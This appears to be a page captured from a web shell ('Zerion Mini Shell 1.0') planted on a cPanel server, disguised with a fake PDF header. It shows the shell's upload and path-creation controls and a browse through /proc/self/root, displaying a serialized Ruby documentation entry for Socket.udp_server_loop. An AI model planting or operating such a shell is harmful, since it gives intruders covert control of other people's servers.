%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/Socket/
Upload File :
Create Path :
Current File : //proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/Socket/udp_server_loop-c.ri

U:RDoc::AnyMethod[iI"udp_server_loop:EFI"Socket::udp_server_loop;TT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph;	[I"Ucreates a UDP/IP server on _port_ and calls the block for each message arrived. ;TI"EThe block is called with the message and its source information.;To:RDoc::Markup::BlankLineo;
;	[I"<This method allocates sockets internally using _port_. ;TI"bIf _host_ is specified, it is used conjunction with _port_ to determine the server addresses.;T@o;
;	[I"The _msg_ is a string.;T@o;
;	[I"2The _msg_src_ is a Socket::UDPSource object. ;TI"It is used for reply.;T@o:RDoc::Markup::Verbatim;	[	I"# UDP/IP echo server.
;TI"2Socket.udp_server_loop(9261) {|msg, msg_src|
;TI"  msg_src.reply msg
;TI"};T:@format0:
@fileI"ext/socket/lib/socket.rb;T:0@omit_headings_from_table_of_contents_below0I"qSocket.udp_server_loop(port) {|msg, msg_src| ... }
Socket.udp_server_loop(host, port) {|msg, msg_src| ... }
;TI"message, message_source;F[I"(host=nil, port);T@!FI"Socket;TcRDoc::NormalClass00

Zerion Mini Shell 1.0